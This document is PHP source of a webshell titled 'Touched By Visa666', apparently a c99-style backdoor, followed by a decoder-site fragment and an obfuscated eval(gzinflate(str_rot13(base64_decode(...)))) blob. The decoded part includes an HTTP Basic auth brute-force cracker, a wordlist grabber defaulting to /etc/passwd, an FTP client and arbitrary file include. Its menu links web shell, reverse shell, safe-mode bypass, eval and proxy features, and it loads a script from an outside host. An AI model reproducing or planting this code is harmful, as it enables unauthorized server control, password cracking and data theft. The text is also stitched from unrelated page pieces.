echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";}
}
function ftpclienT(){
global $t,$cwd,$hcwd,$errorbox,$et;
$td="<td bgcolor='#333333' width='50%'>";
if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
$con=ftp_connect($_REQUEST['hosT'],21,10);
if($con){
$ftp=ftp_login($con,$user,$pass);
if($ftp){
if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
if(!empty($_REQUEST['filE'])){
$file=$_REQUEST['filE'];
$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
elseif(isset($_REQUEST['rM'])){
ftp_rmdir($con,$file);
ftp_delete($con,$file);
}
elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
}
$pwd=ftp_pwd($con);
$dir=ftp_nlist($con,'');
$d=opendir($cwd);
echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td";
foreach($dir as $n)echo "$n<br>";
echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et";
}else echo "$errorbox Wrong username or password$et";
}else echo "$errorbox Can not connect to server!$et";
}
else{
echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text [email protected] name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>";
}
}
function calC(){
global $t,$et,$hcwd;
$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
$to=$_REQUEST['to'];
echo "<center>${t}Output:<br><textarea rows='10' cols='64'>";
if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i}))); 
else echo $to($_REQUEST['input']);
echo "</textarea>$et</center><br>";
}
echo "<center>${t}Convertor:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>";
}
function authcrackeR(){
global $errorbox,$et,$t,$hcwd;
if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
$data='';
$method=($_REQUEST['method'])?'POST':'GET';
if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
spliturL($_REQUEST['target'],$host,$page);
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
if($method=='GET')$page.=$data;
$dictionary=fopen($_REQUEST['dictionary'],'r');
echo '<font color=blue>';
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$so=fsockopen($host,80,$en,$es,5);
if(!$so){echo "$errorbox Can not connect to host$et";break;}
else{
$packet="$method /$page HTTP/1.0
Accept-Encoding: text
Host: $host
Referer: $host
Connection: Close
Authorization: Basic ".base64_encode("$user:$pass");
if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded
Content-Length: '.strlen($data);
$packet.="

";
$packet.=$data;
fputs($so,$packet);
$res=substr(fgets($so),9,2);
fclose($so);
if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass
");}
}
}
echo 'Done!</font>';
}else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
}
function openiT($name){
$ext=strtolower(substr($name,strrpos($name,'.')+1));
$src=array('php','php3','php4','phps','phtml','phtm','inc');
if(in_array($ext,$src))highlight_file($name);
else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
}
function opensesS($name){
$sess=file_get_contents($name);
$var=explode(';',$sess);
echo "<pre>Name	Type	Value
";
foreach($var as $v){
$t=explode('|',$v);
$c=explode(':',$t[1]);
$y='';
if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
echo $t[0]."	$y	".$c[1]."
";
}
echo '</pre>';
}
function logouT(){
setcookie('passw','',time()-10000);
header('Location: '.hlinK());
}
?>
<html>
<head>
<style>body{
	scrollbar-base-color: #484848;
	scrollbar-arrow-color: #FFFFFF;
	scrollbar-track-color: #969696;
	font-size:16px;
	font-family:"Arial Narrow";
	background-color: #3333FF;
}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}body,td,th {
	color: #7F0000;
}
</style>
<meta http-equiv="Content-Language" content="en-us">
<script language="JavaScript" type="text/JavaScript">
function HS(box){
if(document.getElementById(box).style.display!="none"){
document.getElementById(box).style.display="none";
document.getElementById('lk').innerHTML="+";
}
else{
document.getElementById(box).style.display="";
document.getElementById('lk').innerHTML="-";
}
}
function chmoD($file){
$ch=prompt("Changing file mode["+$file+"]: ex. 777","");
if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch;
}
</script><SCRIPT SRC=http://c99.me/base/jquery.js></SCRIPT>
<title>Touched By Visa666</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head><body link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#9900CC" width="100%">
<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table>
<hr size=1 noshade>
<?php
if(!empty($_REQUEST['seC'])){
switch($_REQUEST['seC']){
case 'fm':filemanageR();break;
case 'sc':scanneR();break;
case 'phpinfo':phpinfo();break;
case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
if(!empty($_REQUEST['Save'])){
$filehandle=fopen($_REQUEST['file'],'w');
fwrite($filehandle,$_REQUEST['edited']);
fclose($filehandle);}
if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
break;
case 'openit':openiT($_REQUEST['namE']);break;
case 'cr':crackeR();break;
case 'dic':dicmakeR();break;
case 'tools':toolS();break;
case 'hex':hexvieW();break;
case 'img':showimagE($_REQUEST['filE']);break;
case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
case 'hc':hashcrackeR();break;
case 'fcr':formcrackeR();break;
case 'auth':authcrackeR();break;
case 'ftpc':ftpclienT();break;
case 'eval':phpevaL();break;
case 'snmp':snmpcrackeR();break;
case 'px':pr0xy();break;
case 'webshell':webshelL();break;
case 'mailer':maileR();break;
case 'br':brshelL();break;
case 'asm':safemodE();break;
case 'sqlcl':sqlclienT();break;
case 'calc':calC();break;
case 'sysinfo':sysinfO();break;
case 'checksum':checksuM($_REQUEST['filE']);break;
case 'logout':logouT();break;
default: echo $intro;}}else echo $intro;
echo $footer;?></body></html>

Did this file decode correctly?

Original Code

<?php 
eval(gzinflate(str_rot13(base64_decode('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
